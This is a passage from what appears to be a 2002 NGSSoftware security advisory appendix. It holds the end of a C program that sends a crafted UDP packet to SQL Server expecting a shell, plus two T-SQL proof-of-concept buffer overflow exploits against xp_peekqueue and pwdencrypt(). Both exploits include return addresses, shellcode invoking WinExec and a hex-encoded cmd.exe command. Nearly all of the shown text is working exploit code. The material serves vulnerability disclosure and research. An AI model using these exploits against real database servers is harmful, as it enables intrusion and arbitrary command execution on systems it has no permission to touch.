        s_sa.sin_family=AF_INET;
        memcpy(&s_sa.sin_addr,he->h_addr,he->h_length);
        return 1;
}



int GainControlOfSQL(void)
{

        SOCKET c_sock;

        char resp[600]="";
        char *ptr;
        char *foo;
        int snd=0,rcv=0,count=0, var=0;
        unsigned int ttlbytes=0;
        unsigned int to=2000;
        struct sockaddr_in      srv_addr,cli_addr;
        LPSERVENT               srv_info;
        LPHOSTENT               host_info;
        SOCKET          cli_sock;


        cli_sock=socket(AF_INET,SOCK_DGRAM,0);
        if (cli_sock==INVALID_SOCKET)
                {
                        return printf(" sock error");
                }

        cli_addr.sin_family=AF_INET;
        cli_addr.sin_addr.s_addr=INADDR_ANY;
        cli_addr.sin_port=htons((unsigned short)53);
        setsockopt(cli_sock,SOL_SOCKET,SO_RCVTIMEO,(char *)&to,sizeof(unsigned int));
        if (bind(cli_sock,(LPSOCKADDR)&cli_addr,sizeof(cli_addr))==SOCKET_ERROR)
                {
                        return printf("bind error");
                }



        s_sa.sin_port=htons((unsigned short)SQLUDPPort);

        if (connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR)
                {
                        return printf("Connect error");
                }



        else
                {
                        snd=send(cli_sock, request , strlen (request) , 0);
                        printf("Packet sent!\nIf you don't have a shell it didn't work.");
                        rcv = recv(cli_sock,resp,596,0);
                        if(rcv > 1)
                                {
                                        while(count < rcv)
                                                {
                                                        if(resp[count]==0x00)
                                                                resp[count]=0x20;
                                                        count++;
                                                }
                                        printf("%s",resp);
                                }
                }
        closesocket(cli_sock);
return 0;
}
```

Appendix B
This T-SQL script is a simple proof of concept buffer overflow exploit for the buffer overflow in xp_peekqueue in SQL Server with no service packs.

```
-- NGSSoftware
--
-- xp_peekqueue buffer overflow exploit script for NGSSQuirreL
--
-- Copyright(c) NGSSoftware Ltd
--
-- David Litchfield
-- (david@ngssoftware.com)
-- 19th July 2002

declare @query varchar(4000)
declare @end_query varchar(500)
declare @short_jump varchar(8)
declare @sra varchar(8)
declare @call_eax varchar(4)
declare @WinExec varchar(8)
declare @mov varchar(4)
declare @ExitThread varchar(8)
declare @exploit_code varchar(200)

declare @command varchar(300)

declare @msver nvarchar (200)
declare @ver int
declare @sp nvarchar (20)

select @command =
0x636D642E657865202F6320646972203E20633A5C707764656E63727970742E747874202600
00



select @sp = N'Service Pack '
select @msver = @@version
select @ver = ascii(substring(reverse(@msver),3,1))

if @ver = 53
        print @sp + char(@ver) -- Windows 2000 SP5 For when it comes out.
else if @ver = 52
        print @sp + char(@ver) -- Windows 2000 SP4 For when it comes out.
else if @ver = 51
        print @sp + char(@ver) -- Windows 2000 SP3 For when it comes out.

else if @ver = 50       -- Windows 2000 Service Pack 2
        BEGIN
                print @sp + char(@ver)
                select @sra = 0x43E5E677
                select @WinExec = 0xAFA7E977
                select @ExitThread = 0xE275E877
        END

else if @ver = 49       -- Windows 2000 Service Pack 1
        BEGIN
                select @sra = 0x00000000        --need to get address
                select @WinExec = 0x00000000 --need to get address
                select @ExitThread = 0x00000000 --need to get address
        END

else                    -- No Windows 2000 Service Pack
        BEGIN
                select @sra = 0x00000000        --need to get address
                select @WinExec = 0x00000000            --need to get address
                select @ExitThread = 0x00000000 --need to get address
        END



select @query = 'exec xp_peekqueue
''11111111111111111111111111111111111111111111111111111111111111111111111111111111
```

```
11111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLL
LLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ'

select @end_query = ''',"a","a'''

select @short_jump = 0xEB0A9090
select @mov = 0xB8

select @exploit_code = 0x909090909090909090558BEC33C0508D432A50B8
select @call_eax = 0xFFD0
select @query = @query + @short_jump + @sra + @exploit_code + @WinExec + @call_eax +
@mov + @ExitThread + @call_eax + @command + @end_query
exec (@query)
```

Appendix C
This is the code for a T-SQL Script that demonstrates exploitation of the buffer overflow in the pwdencrypt() function. This code should work on SQL Server 2000 with any service pack. [Note this was written prior to the patch becoming available from Microsoft so this may not stand when you are reading this.]

```
declare @msver nvarchar (200)
declare @ver int
declare @sp nvarchar (20)


declare @call_eax nvarchar(8)
declare @exploit nvarchar(2000)
declare @padding nvarchar(200)
declare @exploit_code nvarchar(1000)
declare @sra nvarchar(8)
declare @short_jump nvarchar(8)
declare @a_bit_more_pad nvarchar (16)
declare @WinExec nvarchar(16)
declare @command nvarchar(300)

select @command =
0x636D642E657865202F6320646972203E20633A5C707764656E63727970742E74787400000000

select @sp = N'Service Pack '
select @msver = @@version
select @ver = ascii(substring(reverse(@msver),3,1))
```

```
if @ver = 53
	print @sp + char(@ver) -- Windows 2000 SP5 For when it comes out.
else if @ver = 52
	print @sp + char(@ver) -- Windows 2000 SP4 For when it comes out.
else if @ver = 51
	print @sp + char(@ver) -- Windows 2000 SP3 For when it comes out.

else if @ver = 50		-- Windows 2000 Service Pack 2
	BEGIN
		print @sp + char(@ver)
		select @sra = 0x2B49E277
		select @WinExec = 0xAFA7E977
	END

else if @ver = 49		-- Windows 2000 Service Pack 1
	BEGIN
		print @sp + char(@ver)
		select @sra = 0x00000000	-- Need to get address
		select @WinExec = 0x00000000 -- Need to get address

	END

else				-- No Windows 2000 Service Pack
	BEGIN
		print @sp + char(@ver)
		select @sra = 0x00000000 -- Need to get address
		select @WinExec = 0x00000000 -- Need to get address
	END

select @short_jump = 0xEB0A9090
select @padding =
N'NGSSQuirreLNGSSQuirreLNGSSQuirreLNGSSQuirreLNGSSQuirreLNGSSQuirreLNGSSQuirr
eLNGSSQuirreLNGSSQuirreLNGSSQuirreLNGSSQuirreLNGSSQuirreLNGSSQuirreLNGSSQuirr
eLNGSSQuirreL*'
select @a_bit_more_pad = 0x6000600060006000
select @exploit_code = 0x90558BEC33C0508D452450B8

select @call_eax = 0xFFD0FFD0

select @exploit = @padding + @sra + @short_jump + @a_bit_more_pad + @exploit_code +
@WinExec + @call_eax +@command

select pwdencrypt(@exploit)
```